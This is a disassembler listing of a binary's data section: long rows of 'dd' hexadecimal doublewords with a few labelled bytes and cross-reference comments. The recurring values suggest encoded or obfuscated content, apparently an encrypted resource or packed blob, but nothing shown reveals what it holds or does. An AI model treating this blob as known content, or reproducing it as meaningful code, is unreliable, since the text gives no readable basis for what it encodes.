dd 0AF0C5AFCh, 8416ADF5h, 0A7BFB496h, 17262E75h, 88321A8Fh
dd 16041A66h, 0F44EE90Fh, 5EF2FC5Ah, 554671E2h, 0CB3DC599h
dd 22321567h, 35B79C9Eh, 61340E1Fh, 4432156Ch, 0E0A457A1h
dd 0EC40E4BBh, 0DF44E08h, 42260F3Fh, 2222FC34h, 0B44A1566h
dd 1D7B9C2Ch, 130B746Ch, 56889794h, 943D17BDh, 88321571h
dd 4432078Fh, 77422366h, 0F66ADC35h, 807F6DF5h, 4C87858Ch
dd 4A60E104h, 0EC70A18Ch, 0CD87EA9Ah, 24340177h, 0D8EBAB00h
dd 1E53D4EDh, 883201ECh, 4ABF1A66h, 0CB321566h, 1132156Fh
dd 0E3436382h, 897433D4h, 31B79821h, 1E34015Dh, 883219E4h
dd 42B41A66h, 2D321566h, 113215EFh, 61E2EA66h, 4432156Bh
dd 6EFA40E9h, 5812F417h, 7CA36FE8h, 91B79CFDh, 2D340145h
dd 11321DE1h, 33D7566h, 44321566h, 7BB7D307h, 5634017Ch
dd 948AAA06h, 0C93D50E6h, 22321560h, 624D4E7h, 0E053263Bh
dd 0A6AA4CFFh, 6787EA93h, 1E340177h, 883214EDh, 0C1BFE066h
dd 24262E75h, 90F59E06h, 8A741989h, 94CD7479h, 0AB79C9Fh
dd 0E9340E1Fh, 926B90A0h, 0AD751372h, 22321561h, 4EA43CE2h
dd 7D1A2F62h, 0B952D70Eh, 223FFCD7h, 907E1566h, 833CD3FEh
dd 43E0939Ah, 0DD8A5C04h, 52350D3h, 8822FC60h, 34F01566h
dd 8F75C1E7h, 37749414h, 7857C474h, 0C1BFB4BAh, 24262E75h
dd 1132068Fh, 0CFDBA866h, 0A030AF8Eh, 151BE272h, 0D05C9688h
dd 52CA9DB4h, 56DBC599h, 0C1321566h, 0FD02DDAFh, 0DBAAB1D9h
dd 83785664h, 0CED8D907h, 3DB79CBFh, 74340E1Fh, 44321C8Fh
dd 43F77066h, 0D9DD3784h, 0DF44E00h, 42260F3Fh, 365AE021h
dd 0E8EDB398h, 9977A099h, 41DB1372h, 79321566h, 4080D9CFh
dd 0B32190EBh, 0CC3D1372h, 22321567h, 0F8E2EA93h, 8832156Ch
dd 0A97D0A49h, 55CA8EE4h, 94BBABBAh, 8E296C56h, 4432198Fh
dd 0CF5B5066h, 10E0A54Ah, 46D1F9F2h, 1DB7D3A2h, 7D34017Ch
dd 11359469h, 23D1566h, 44321567h, 4A5AED93h, 0F8AC4594h
dd 88321575h, 82D580E2h, 51F1EF05h, 5EFB25EDh, 1CC23811h
dd 0BBCA792Bh, 362350D3h, 1123FC60h, 14CD1566h, 9C820779h
dd 90291FC1h, 2A938090h, 5CCDADAh, 500906E3h, 223DFC60h
dd 0D3341566h, 0F1EC028Bh, 0EC5EC859h, 54295BD7h, 1EE2EAD8h
dd 883214E5h, 4EDBEC66h, 36321566h, 0DD4E030h, 3683ED63h
dd 70B79C86h, 0CB340E1Fh, 11321561h, 4CCB97CDh, 0ADDE2E97h
dd 22321563h, 7BB9C80Ah, 0D1B7D304h, 0B34017Ch, 590D7D93h
dd 9C3DD29Ah, 88321567h, 187EA9Ah, 2D340177h, 113214EFh
dd 0DBFEC66h, 42262E75h, 0EFE09406h, 7119A144h, 88329D69h
dd 42DA1566h, 68321566h, 24A596ABh, 0E9534C55h, 55DBC599h
dd 98321566h, 917A8798h, 8E6E44ABh, 8515D96Ah, 1187482Fh
dd 71B79C93h, 61340E1Fh, 44321575h, 0C1975675h, 422436F7h
dd 442ECA66h, 0EEACBA31h, 0E4EBE819h, 5284CE3h, 82DB5260h
dd 9F321566h, 55B0E4EBh, 59BB7EE0h, 0E67E7D47h, 0AD52EF3Dh
dd 22321561h, 0C5D1C78Ch, 0E962DD8Fh, 5577A099h, 32DB1372h
dd 0CA321566h, 0C184324Dh, 21DA4DD2h, 0A5781677h, 9C1BBF7Eh
dd 9C0906E3h, 94CDE960h, 22359669h, 953D1566h, 88321567h
dd 20B79C9Eh, 42340E1Fh, 11321F8Fh, 0DB6F9266h, 0AF7B92D7h
dd 2D7359DEh, 0D753CED1h
dd 9C284CE3h, 0C23D5260h, 22321576h, 1134FD06h, 92C41566h
dd 50FB0268h, 43F39F3Ch, 1716D80Eh, 89B71AA5h, 0BD321566h
dd 44CB9E06h, 0FE4DCBE7h, 0CD87EA07h, 0BD340177h, 31B7989Ah
dd 0F834015Dh, 88321574h, 49AD33DBh, 82C8FB5Ah, 0F1821FDCh
dd 186DD79Eh, 0BBCB0636h, 223EFCB6h, 8CC11566h, 0BCFA3879h
dd 1FA498D8h, 0A7BBEF21h, 17296C0Eh, 88389F69h, 22521566h
dd 3006E5E7h, 709ACDE6h, 926B90A0h, 0BC6D1372h, 9952D90Eh
dd 0A4CDE9B2h, 8E260423h, 57B7989Eh, 2D34015Dh, 11321DE1h
dd 8AB41A66h, 24321566h, 2DE2EA07h, 113205E5h, 8839FC66h
dd 61FB1566h, 39827EB9h, 409633E6h, 0B0B79CB3h, 0BC340E1Fh
dd 386B90A0h, 0E46D1372h, 61665B0Eh, 443EFCF8h, 6D061566h
dd 0FEB20FCEh, 0BED07860h, 0F1CD9769h, 24260423h, 0FFB24206h
dd 9CDB4CC1h, 0BE321566h, 7A442831h, 1FC970ECh, 8AA12400h
dd 7DDCF865h, 43BD7AF0h, 2A2190EBh, 0F3D1372h, 44321567h
dd 0CBE2EA9Ah, 11321560h, 0ADE83452h, 0C1BBC2C4h, 24296C5Ah
dd 1132198Fh, 9BA9AE66h, 8D7373F8h, 9D86D3C8h, 48B7D3DAh
dd 0D734017Ch, 46BB1A06h, 0A9321566h, 16D994BCh, 0E9252603h
dd 571A5D0Eh, 33BD1AB7h, 0F8321566h, 8832156Ah, 918DF64Dh
dd 25933C2Fh, 0B0CD726Dh, 9977A099h, 43DB1372h, 3C321566h
dd 0D68FF1D7h, 73DABCCh, 44321567h, 31B7989Fh, 0ED34015Dh
dd 7D52C599h, 0A888C4E7h, 0AB531AEFh, 0A4B55E3h, 8FBB1A60h
dd 4B321566h, 223214E8h, 1558E066h, 98327D9Ah, 0ADC71566h
dd 22321568h, 0FB8C4ED9h, 87F8E890h, 0F00FC8B0h, 225ADC4Ah
dd 71321576h, 23DE7EDh, 44321564h, 48537406h, 0F9C77566h
dd 8832156Fh, 712C4B26h, 1A69E482h, 0EE534C8Ch, 9C16BCF3h
dd 0C63D7560h, 22321563h, 6DC59400h, 8838FD0Ah, 0DC491566h
dd 1CE0B216h, 0BF0A1A2Ah, 564BAC00h, 0C1BB7438h, 2426191Fh
dd 11339D69h, 5C71566h, 5F180CE3h, 0AC3D7560h, 1132156Ch
dd 8832108Fh, 42729966h, 0A354DC4Eh, 70F4E9B9h, 83DC599h
dd 4432156Ch, 0CBB37306h, 9A54A349h, 8C5874A0h, 54327D93h
dd 4ACA1566h, 11323566h, 8DB01A06h, 22321566h, 0A078C5E7h
dd 0F8327F07h, 88321575h, 0A5C529A2h, 3CD01088h, 9845F7h
dd 5C824BFCh, 0BB2AA382h, 3616BCF3h, 19DBEC60h, 0FE321566h
dd 0B373D9A0h, 0AB56832Ah, 52AA0E3h, 8FBA1A60h, 24321566h
dd 0F17444DEh, 94BB744Ch, 8E2615EBh, 442F9569h, 0A03D1566h
dd 11321571h, 8832078Fh, 0D0E57866h, 0DC4EF18Ch, 52881E9Ah
dd 10F42F24h, 2E9AE9B3h, 2239FC26h, 5A151566h, 0D304034Ah
dd 0EB1242C1h, 2EB91A27h, 1E321566h, 883213EDh, 44B31A66h
dd 4A321566h, 11320566h, 88229269h, 0CC3D1566h, 2232156Ch
dd 1132108Fh, 0C10EA366h, 445A8464h, 42321466h, 11379369h
dd 69881566h, 1645AC0Fh, 0CC34AA00h, 1158743Eh, 21A7EA9Fh
dd 0BD340142h, 0F6F90EFh, 0F8CA1372h, 88321575h, 9566588Ah
dd 8358FDB1h, 30396C64h, 9B146CE1h, 0CF892B1Dh, 3621F0D3h
dd 16BA1A60h, 0E8321566h, 0FB3DEFECh, 0BFB974ADh, 1726108Fh
dd 54EC9406h, 16583220h, 6519FCE7h, 70695150h, 0BC53A0EFh
dd 56DB1372h, 41321566h, 0C94ACD2Dh, 621371B9h, 7E27D589h
dd 0D454D819h, 1137FC47h, 4EF41566h, 0CDFCF07Ah, 361674FBh
dd 8CB9EC60h, 8E26108Fh, 0CF547506h, 28DB74B0h, 0E6321566h
dd 0D18D22D6h, 5517F63Fh, 11CD7425h, 921619EDh, 85DB11A2h
dd 75321566h, 339550FBh, 38D8A60Bh, 211127AAh, 4B32ECE5h
dd 220B59E2h, 1134FC66h, 6A81566h, 8AA009A3h, 0A3D39C37h
dd 113211A7h, 8CDB9466h, 0C3321566h, 0AB6E316Ah, 43CA3162h
dd 4AB3F7EFh, 44321562h, 2236FFE7h, 5B51566h, 84BB4942h
dd 45BC1A42h, 0DB321566h, 0D103ED06h, 0A4B8AA06h, 7C884177h
dd 4342F0BAh, 13C790EFh, 0D3D1372h, 4432156Eh, 22309169h
dd 70521566h, 880EAD36h, 82BB1566h, 0A11611EDh, 775211A2h
dd 4BB3E7EDh, 7EA770A9h, 6E8B4407h, 907D9F36h, 624C958Fh
dd 96C39431h, 0BDDCF8Ah, 65314CA8h, 4EB33542h, 5C772878h
dd 22389769h, 77521566h, 954D2EDh, 253CDBA7h, 9C52B800h
dd 5970C5ABh, 2DC2FBE7h, 695349C0h, 7FA579FDh, 0AE4D354Bh
dd 0AC76161Ch, 3B121046h, 0B9376FD9h, 716F820Ah, 88319169h
dd 0CF541566h, 21B31AA0h, 1E321566h, 7753EFD9h, 68B36D16h
dd 1A077642h, 0AA614B77h, 0E5725024h, 0C5E1E225h, 0C76A9DA5h
dd 17D1D46Dh, 930FEA7h, 5CCCC88Dh, 79EC147Fh, 17DBEC06h
dd 76321566h, 0D664FEE9h, 0CCB37436h, 42201FCEh, 0A8166165h
dd 0F87AA31h, 0D5B33A8Ah, 1CE3572Fh, 9E5E229h, 540B9589h
dd 61D59475h, 90034A12h, 880CBD91h, 1BCC1435h, 2232078Fh
dd 4BE05E66h, 72BFCF5Fh, 21F8A6ABh, 0F579A55Dh, 0EEDE1794h
dd 0B4B90D10h, 40F69642h, 223E9769h, 9D3D1566h, 88321560h
dd 44329A69h, 9FBB1566h, 1726375Fh, 6150A706h, 44321577h
dd 0CAA8CE3h, 35706816h, 6C830B64h, 0FA98D2DBh, 0DDB7744Dh
dd 11769069h, 86DB1566h, 0E4321566h, 0B8AF3195h, 5E6579F4h
dd 7F8438D3h, 4439FC4Dh, 62551566h, 0E3454B6Dh, 2B7F4084h
dd 2425FD06h, 0CBCE1566h, 11321066h, 8832048Fh, 7B936466h
dd 2ADA9093h, 0F6BBB5D9h, 5294E6Ch, 0CD63ACD7h, 26F39487h
dd 90321566h, 8832118Fh, 603E9266h, 63E9C3Ah, 11321B8Fh
dd 0A2CE9A66h, 0FE2FD250h, 9106FE03h, 469D88E5h, 0DAF8AA31h
dd 381B296Eh, 786D1142h, 43F8D7E7h, 6152296Eh, 44321575h
dd 78430280h, 68A26B40h, 6CFE6E8Fh, 0C5C05148h, 43A8C0A0h
dd 0D415AE06h, 35452ADh, 965974A5h, 2220FC62h, 19A61566h
dd 676875CDh, 933ECAD6h, 12BF9DDBh, 72B0701Dh, 0A39780EFh
dd 4BDB1372h, 8A321566h, 0C227E19h, 0B1240CFBh, 76F963C8h
dd 27DBB4FEh, 0D4321566h, 876F9E98h, 0C552110Ch, 0E73D795h
dd 115A7468h, 0E8321576h, 44321C8Eh, 14923366h, 0C55A9F9Bh
dd 71B9F0BAh, 605A7439h, 0AB32157Bh, 77523172h, 0EB31C4E7h
dd 0AD327F07h, 2232156Fh, 0BB900366h, 0D7855CEDh, 0EDA7EA19h
dd 0DA340142h, 206F90EFh, 9ADB1372h, 6F321566h, 64232B57h
dd 5A574FD0h, 9684B70Ch, 8A21DE7Bh, 0E1BB4652h, 0DB9CFEFh
dd 8CF69442h, 24321566h, 2232078Fh, 94833466h, 738FE50Ah
dd 9816D100h, 2A9AF3h, 77834B9Bh, 0E9E909DFh, 1D162199h
dd 0DE36D1E5h, 116CD58Eh, 85B01A66h, 0AD321566h, 2232156Eh
dd 0E6CA0E2Eh, 8450654Bh, 0C5D79C33h, 223211A3h, 15DF9466h
dd 0F321566h, 0CD6E314Ah, 0A63D3152h, 1132156Eh, 88309869h
dd 25521566h, 0DE52B89Ah, 9EABE7DEh, 31637457h, 79FB4191h
dd 6B73E4E7h, 0D0B310ACh, 82B52F71h, 476BDD4Fh, 27163122h
dd 53B842ABh, 88321E8Fh, 99F27266h, 0E721ED91h, 0E37EA629h
dd 36A4236h, 80B1315Ah, 2235FC62h, 45271566h, 3109995Fh
dd 40DE94ACh, 0AB321566h, 15B3315Ah, 0A72C7F42h, 0AFB34E10h
dd 541D0B0Ch, 0C2C7D9Ah, 0B4BB1566h, 45B81A42h, 0DA321566h
dd 7752D556h, 5BADF5E7h, 4432078Fh, 0CF0C4066h, 0E545151Dh
dd 0DF57BF7h, 0E39462C4h, 435D369Eh, 0F8CF60C8h, 88321574h
dd 0C5CCD57h, 0C5E9228Ah, 948D861Ah, 53AA890Ch, 0CF3D3100h
dd 22321567h, 1DB11A9Fh
dd 87321566h, 443213E9h, 22B31A66h, 9A321566h, 1623152h
dd 44361086h, 0E2B11566h, 35369262h, 8834FC3Ah, 0E0CE1566h
dd 0FCE3E821h, 27ECFAE7h, 571B3381h, 3345AF34h, 0E0B30E28h
dd 1AAAAA01h, 6168C267h, 44321572h, 29F980A6h, 54DEE31Dh
dd 0EE0A8276h, 0ED1E016Dh, 0C88C4ED9h, 90D59C31h, 883211A1h
dd 40DD9466h, 0A5321566h, 986E315Ah, 73D3172h, 44321564h
dd 4A5A7406h, 9832150Dh, 8768315Ah, 443217EAh, 0A9537566h
dd 53E6CDBh, 8821FC60h, 6EF91566h, 0F227A3ADh, 66138EB7h
dd 52912A39h, 0A8A52159h, 0DDCDAC92h, 20CBEA99h, 0E060E9A6h
dd 44321566h, 0A8C0143Ch, 3DB4F64h, 2F321566h, 3B75131Fh
dd 0BC465AD6h, 69BEBD67h, 7F7E13FAh, 24FA2517h, 12897393h
dd 0A962741Ah, 0B4F678D5h, 7C2BED6Bh, 0B52106Fh, 4B1F271Dh
dd 894262C1h, 0C33D4DA0h, 22321573h, 113D9469h, 82DB1566h
dd 0E2321566h, 48A46FB3h, 4FE229A9h, 0F06EA88h, 6F1621E7h
dd 7A19B726h, 5119AA31h, 70033EC4h, 0ADF3E039h, 0F4B3756Eh
dd 47869003h, 4903749Fh, 0C13D5F93h, 0DDCDEA15h, 113F9269h
dd 80DB1566h, 98321566h, 87E0997Ch, 4718D1BAh, 165DBEFh
dd 1BCA9C91h, 42CB7538h, 11329969h, 0E3D1566h, 44321566h
dd 0B1CA7407h, 3526E235h, 8752863Dh, 0C28DD3D9h, 432BFA00h
dd 4B162199h, 8836D1E7h, 4B521566h, 223216EFh, 0CAD79566h
dd 0BCB34507h, 391C9C42h, 73309A52h, 113215DFh, 9E31466h
dd 391C9C57h, 0CB524C52h, 1132156Fh, 4F8E6620h, 1C1FA15h
dd 43C09EDBh, 0AC67439Eh, 88321562h, 456FFBEFh, 25DB4B94h
dd 0C1321566h, 11558062h, 0CD64C86Ch, 26F49480h, 92321566h
dd 0BCB51188h, 50BB4942h, 2238FC42h, 0B91E1566h, 56627017h
dd 0A10395DAh, 20C79099h, 18DB1372h, 16321566h, 0E5AB8947h
dd 0E0336DB1h, 13C780EDh, 0DB521372h, 1707AA00h, 0C9F5943Ch
dd 705C516Ah, 0AA0B805Fh, 0C03D1372h, 2232153Bh, 35269E9Eh
dd 9D59C31h, 443211A1h, 26F59466h, 96321566h, 716E315Ah
dd 141621EDh, 2637F5EFh, 14321566h, 88321562h, 181611E1h
dd 22339D69h, 41CA1566h, 8836AA31h, 0BCBB1566h, 7AF41439h
dd 0ED80FC9Ah, 0E8CEEA99h, 4CDADDEDh, 30321566h, 0A9B278AAh
dd 0EEAAD2EDh, 1A34F3D9h, 606EA07h, 15F6943Ch, 87321566h
dd 44321FEEh, 2237FC66h, 9FB41566h, 330E35Fh, 0CD643152h
dd 26F49480h, 90321566h, 883211A0h, 60069266h, 23BD1A3Ah
dd 0E8321566h, 83B81A07h, 24321566h, 0A3C5A269h, 483A468Fh
dd 84B9746Dh, 0A3BB4242h, 2236D2E7h, 0D6B11566h, 0AC0E9262h
dd 4420FC3Ah, 4A5E1566h, 0A66EA5B0h, 0F1F39FEh, 16A8C893h
dd 8AA00B63h, 3506EA93h, 8CF6963Eh, 268C7306h, 0A13D75BDh
dd 11321566h, 0E953B3D2h, 5E2F90A1h, 22321372h, 47521566h
dd 0D7CBAA69h, 4432058Eh, 0C5E11966h, 0ECF88E82h, 0C6410D10h
dd 65AFD83h, 6EF095C7h, 94F57439h, 8E260787h, 44321566h
dd 223AFC93h, 92BA1566h, 4F714086h, 0F9B107E6h, 24296DCEh
dd 64B61A66h, 70321566h, 44289569h, 0CB521566h, 11321576h
dd 58F9890Dh, 50875111h, 426163C0h, 647A88D4h, 0E9C8AA69h
dd 0DCE888EBh, 42C7137Ch, 984CAC06h, 40B94A5Bh, 4423FD07h
dd 1C881566h, 0A7DC5582h, 0C9AF4054h, 678EFAB0h, 0CBCFEA35h
dd 1132156Dh, 9762192Ch, 0B550CAC0h, 7A3B840Fh, 1EE1EA07h
dd 883206EBh, 443CFC66h, 8C681566h, 0D641AA37h, 38454916h
dd 694B99D1h, 213B9099h, 0F8C71372h, 8832156Ah, 9D8DA24Fh
dd 0EEB83EDh, 5ACF449Ah, 8B3BA8E5h, 4B561372h, 223099E4h
dd 1DB81A66h, 87321566h, 443213E9h, 22BC1A66h, 0D6321566h
dd 9C311CE3h, 44321460h, 4252ED66h, 0CBF39437h, 0D178AFA5h
dd 44321E8Eh, 464E5F66h, 5C1D868Ah, 0CB057103h, 256C7406h
dd 61B890EBh, 7752137Dh, 0D4A8CDE7h, 94CD749Ah, 0CBCC9E06h
dd 11321560h, 0BF5961ECh, 0C953ADF6h, 394B6DD3h, 113FFC60h
dd 0EF2E1566h, 461F9CD0h, 0D1FAA7EBh, 9CE3A72Ah, 9436DBDBh
dd 0FA64ED60h, 7AD20212h, 0C03AFBA7h, 72DC9488h, 0A69E83Eh
dd 0A336FBA7h, 0EAD67D90h, 0D6C51424h, 0ABB3E24Fh, 6A8B007Fh
dd 9BD19406h, 0E90EFA12h, 60269E31h, 4236D1E5h, 71FAA269h
dd 8832138Fh, 0AC699466h, 0CB55FEE8h, 1132156Fh, 0BAE91148h
dd 1B6E4DEEh, 0A953742Ch, 53E6CDBh, 8821FC60h, 0CE9E1566h
dd 0BA284547h, 5E2C79Fh, 2FCBA2F5h, 0B1E40273h, 0DDCDAC00h
dd 953DEA99h, 8832156Bh, 44321D8Fh, 0ECC75B66h, 3010C1A0h
dd 61F2249Eh, 4432156Ch, 7293BD9Ah, 726F42FCh, 0E852207Dh
dd 44321E8Fh, 0CDAEFA66h, 0B6742584h, 4673703Eh, 8EB97307h
dd 228B4407h, 10321566h, 88884797h, 45321566h, 78309FACh
dd 0D902EC3Fh, 88339E69h, 11CB1566h, 223214DBh, 4CDC1466h
dd 50851A06h, 44321D8Fh, 0DF502666h, 7D940F78h, 0BCCD746Dh
dd 0D88847E1h, 132A9811h, 4B363132h, 0FFAE203Eh, 85C70DEBh
dd 2BDB1D8Fh, 0C8321566h, 0BAFCFCF4h, 4B9334BBh, 68CED457h
dd 0EE5D9069h, 82DBEA99h, 39321566h, 7C9FF13h, 6943B09Fh
dd 8CDE94EDh, 0CD321566h, 0EB3316Ah, 0D3164F42h, 0D2374D0Dh
dd 2459D742h, 72534E31h, 0E66C4D30h, 0E3D83B0h, 4432156Ch
dd 0E9B37306h, 0AE3D6FA8h, 0D0B74B9h, 42261A6Fh, 22BF9169h
dd 1DB1566h, 0A4321566h, 11F68830h, 0BDF20C59h, 0F7039601h
dd 0D94F64F6h, 140DC5DFh, 0E2027D32h, 106ABEC9h, 8DDB4CAEh
dd 0E1321566h, 9747E334h, 943DD56Dh, 8832154Eh, 4432048Fh
dd 0F2FB2E66h, 0C5AB5C03h, 0E181CF79h, 72277175h, 0E5CB5F3Eh
dd 53640E3h, 88321460h, 9CB97566h, 0D753EDEDh, 181EAF34h
dd 62F355F8h, 0E8F8946Eh, 74387951h, 113215D8h, 0FE43C66h
dd 86B34B94h, 28AC0C01h, 0F868C467h, 88321561h, 6D746F43h
dd 43FDDCD6h, 11249469h, 99DB1566h, 0A4321566h, 3CB41502h
dd 0EA3ED6CBh, 0F5744391h, 5F68F1AEh, 0C79B7D9Eh, 1DB960EDh
dd 8CF69642h, 44269069h, 42521566h, 1139FC07h, 19D01566h
dd 0FBBBFD2Ah, 9A6FDF1Dh, 2DB7418h, 20321566h, 4AC8A105h
dd 0E7242851h, 0F365BC32h, 0F41E4C6Eh, 0D788D200h, 0D574B76Dh
dd 43E8E2BCh, 0D2160991h, 0AEB35F2Ch, 0B8A660E7h, 11339069h
dd 25CB1566h, 25879C9Fh, 42340152h, 0C2851A37h, 8753EC3Eh
dd 443207EBh, 2EBF1A66h, 0F8321566h, 88321561h, 0A700999Ch
dd 0A3875712h, 1132118Ah, 0AC1E9C66h, 0B92BD80Eh, 0CFB34865h
dd 12CF0CABh, 0D5CE7BEFh, 54DB4306h, 0AC321566h, 45917472h
dd 0C9D915B9h, 4ACFC772h, 7A4A31D6h, 0BF4E1BDDh, 660F7422h
dd 4BDCFB88h, 2232D6E3h, 19B81A66h, 87321566h, 443217E4h
dd 0DE537566h, 0CCEF2BE7h, 0D3DC8BBh, 443215CEh, 22339D69h
dd 46CE1566h, 883215D9h, 44884766h, 23321566h, 4B089C94h
dd 8826FC39h, 0F6A61566h, 5B55A0CFh, 25DC7B20h, 2AAA7812h
dd 87E3BD6Ah, 0AD3D7936h, 11321567h, 818B449Ah, 0C5373649h
dd 67338687h, 0C8C55C4Ch, 930FCA7h, 447251A7h, 7BFC14A6h
dd 11339D69h, 1C71566h, 500674D3h, 6DDBEC60h, 1E32154Ah
dd 88321CE0h, 0C5547566h, 921CA789h, 1EDB7412h, 0C2321566h
dd 2E80728Eh, 0C2DD1FE5h, 0EB5C8F67h, 1ADB7D46h, 4BCDEA98h
dd 223206E3h, 113CFC66h
dd 7EAD1566h, 0F7AEE67Eh, 0E2B0E5EDh, 0A6060AC8h, 882C5D0Eh
dd 60369C66h, 0D31621E7h, 4A09685Ah, 0B4C3E6E7h, 55DB2E1Bh
dd 8F321566h, 4E3637AFh, 0AACCDF44h, 980424D5h, 76788BA9h
dd 15679055h, 49C71372h, 4EDB16AEh, 0A6321566h, 209EAE3Ch
dd 41EE0D1Fh, 0CF547555h, 28DA75A4h, 50321566h, 13A37E28h
dd 1FFABF87h, 0A9544C27h, 145374A5h, 0D4CE2AEEh, 0FA64C54Fh
dd 7ECE2AEEh, 0F86CE54Fh, 8832156Eh, 0E8124BECh, 0AD4B1B82h
dd 1E22D5A7h, 88321AEFh, 41DA7566h, 0E321566h, 79CC4523h
dd 0E96B433Ch, 0CDC7DD57h, 363640FBh, 113EFC60h, 5D931566h
dd 225A093Dh, 0A5EDA49Dh, 110FDBB1h, 87321466h, 4433DEE5h
dd 0A3CAE966h, 0AA89AE58h, 35B71ADDh, 24321567h, 22339469h
dd 90CA1566h, 0C8D426A9h, 0FE607401h, 9A0EC7h, 12F5E7E7h
dd 30620A71h, 2FC3162Eh, 0C717CD91h, 1462A647h, 3A0CD39Ch
dd 0CD6AD767h, 72CA4F70h, 7BC9AE35h, 4979629Fh, 0AFF3168Dh
dd 0F5F1946Eh, 98CDE466h, 4E334EBEh, 51B01A3Eh, 0CB321566h
dd 11321576h, 9E07F545h, 0BAB1EBEBh, 154C22DFh, 54C4F7CBh
dd 0BC53A0EFh, 0CE3D1372h, 22321561h, 11339169h, 3CA1566h
dd 5037FCFBh, 2AB51A60h, 1E321566h, 883217EEh, 0BB537566h
dd 7D8C4355h, 203AD176h, 0D6363112h, 1BC3943Fh, 0CB3AD176h
dd 11321561h, 0A54D4F76h, 1336A34Eh, 0D8BB4A36h, 10BD1A39h
dd 7D321566h, 443EFC06h, 0A6C31566h, 6FCDAB70h, 6364C729h
dd 0A8B1A2A9h, 6269C62h, 0EE1611E7h, 0D0402775h, 7621EA4Bh
dd 2ADBE014h, 0A6321566h, 1234D76Fh, 6F0DC04Bh, 362E98E3h
dd 0F1F3EC60h, 8837FC64h, 66C81566h, 21BE4FF1h, 53DE4E3h
dd 53D7560h, 44321566h, 43E39E00h, 15DE9636h, 0D01621EFh
dd 0B19FE938h, 3C55F463h, 47FA147Bh, 9655F4D8h, 1AC23C7Bh
dd 2232068Fh, 5D3E9366h, 0B1317B73h, 8662ACF7h, 9792EE21h
dd 2A607D7Eh, 941651EFh, 0CF547506h, 223EFCB6h, 0EFE01566h
dd 1EBB741Ch, 0A6F9D399h, 0CA53C792h, 1132156Dh, 0C8C93230h
dd 0B6029B39h, 0CBC3FBB3h, 1132156Ah, 83CC507Ch, 957278EAh
dd 80646ECDh, 1E53743Fh, 883214EBh, 0EEDBE966h, 42321564h
dd 25E59400h, 8820FCB7h, 76B61566h, 3ABFF56Dh, 0BCDB26F6h
dd 504B6432h, 0D1A1A7C0h, 2234FC07h, 515D1566h, 834AE4A5h
dd 4471310Eh, 63E9C66h, 11339C69h, 0DAC71566h, 86B3F7EFh
dd 22321562h, 9636FFE5h, 16E3172h, 4B523172h, 223215E8h
dd 0C7FC9466h, 0E969295Ch, 0CFCBDC57h, 360348F3h, 1309E060h
dd 88959169h, 0C73D1566h, 22321567h, 158F409Eh, 89321566h
dd 601E9E8Ch, 2236D1E7h, 1E521566h, 88320FECh, 4426FD66h
dd 96531566h, 542B7FD6h, 29576D1Dh, 9D7E858Dh, 566056ACh
dd 0AF6956D5h, 0AC892953h, 458C4307h, 23321566h, 1DB4B97h
dd 15321566h, 0C89F0401h, 9E7B5BA9h, 11F89193h, 0B32FBA8Ah
dd 50102CEBh, 0ADB71A60h, 0E8CDEA99h, 0C2FDAC37h, 95C516E9h
dd 1E2AAE35h, 0C8130457h, 33C3943Dh, 501AF3Ch, 4C9EFCE7h
dd 0D9BB36ECh, 84BF1A3Fh, 0AD321566h, 22321561h, 19702C54h
dd 5FC8D5Fh, 507F6CEBh, 0C3CDEC60h, 0E4BF9C9Eh, 61340164h
dd 4432156Eh, 3062FCCAh, 1A52D7CDh, 0D2162199h, 4436D1E7h
dd 27DB1566h, 41321566h, 755026F5h, 1D162199h, 4236D1E5h
dd 70EC9E00h, 88359669h, 22521566h, 0DBBF8BD8h, 0F1BB4507h
dd 88321163h, 40DA9666h, 7E1611E1h, 0F81621EFh, 88321568h
dd 0C7558AA6h, 53A2F357h, 0E5040C1Bh, 86DB37A0h, 0A4321566h
dd 5B3A01Dh, 0EA0CAEDAh, 3516064Fh, 0ADAF9EE1h, 2D340163h
dd 113205E4h, 82B01A66h, 0AD321566h, 22321563h, 0A09D389h
dd 888847CBh, 45321566h, 228A45BCh, 10321566h, 0D03A9EB6h
dd 443FFC3Ch, 1BF11566h, 54CD7B7h, 1113F037h, 0CFF8481Ah
dd 3630E0E3h, 1BB61A60h, 0E8321566h, 0CB3D4B35h, 22321566h
dd 0E9D2C407h, 0A45B9065h, 22521372h, 5FF7F7E7h, 1132018Fh
dd 2CCBB766h, 3B92D04h, 78E62BCCh, 0F7ED5FCDh, 7C098C00h
dd 75CA74D3h, 0CC5AE990h, 98321570h, 0D0643162h, 5EBA1A38h
dd 42321566h, 1132058Eh, 30F9D166h, 0BA26584Ah, 0A101D722h
dd 8955CB7Bh, 7AB94CDAh, 0BC9F7307h, 2D30F5A7h, 113214E9h
dd 0D31EC66h, 42261A97h, 2232048Fh, 0C96E5666h, 26E572D5h
dd 0C6BAB9A2h, 4424890Eh, 0E103912Fh, 7803D357h, 69C7B89Eh
dd 16E8293Bh, 82D0163h, 0A5FA140Ah, 282B0A72h, 0F80E4863h
dd 1E527552h
db 0D1h
byte_5C3A41 db 0CCh ; DATA XREF: ___:off_438438o
db 53h
byte_5C3A43 db 61h ; DATA XREF: ___:off_43A570o
dword_5C3A44 dd 4432156Ch, 0A43A9C4Dh, 0A6941230h, 77530FD4h, 0C76C3152h
; DATA XREF: ___:off_43A568o
dd 24DB11A2h, 6D321566h
db 13h, 66h, 27h
db 0E3h
dd 1D8F9650h, 2334014Ah, 11E39169h, 0EE521566h, 0B8C3FEE7h
dd 0AF3D749Ah, 11321567h, 0CDBF2E9Ah, 4B340177h, 2232A3E2h
dd 9C09E966h, 8E261C57h, 449B9169h, 19CA1566h, 50694EBh
dd 14B61A60h, 4B321566h, 22320FE5h, 5B11A66h, 61321566h
dd 44321569h, 8E66A7C7h, 93EA305Eh, 976A04FEh, 0C9E06258h
dd 39E4D5FBh, 16BF1A60h, 0E8321566h, 0FB3D7406h, 0F1CD7495h
dd 0E6B3759Fh, 0D035670Dh, 4432188Eh, 198BBF66h, 0EA4AD4B2h
dd 0FC9919F5h, 4DDBE00Ch, 9E321566h, 0EA4269B0h, 6904390Dh
dd 1463743Fh, 7BFD9C3Fh, 0CCB79C93h, 61340179h, 44321568h
dd 0C0E0163Fh, 32E7EC13h, 0C128969Ch, 0C13D11E6h, 22321562h
dd 70C89E06h, 8812DF8Fh, 8EB87566h, 22369069h, 0A8541566h
dd 5538F03h, 5FE4D5FBh, 2CB11A60h, 0F8321566h, 8832156Fh
dd 0B593BEA1h, 648A0088h, 0F8E1EA99h, 8832156Dh, 666C293Bh
dd 48F47935h, 0E45653B9h, 0A46BA8E5h, 4B321372h, 22327DE2h
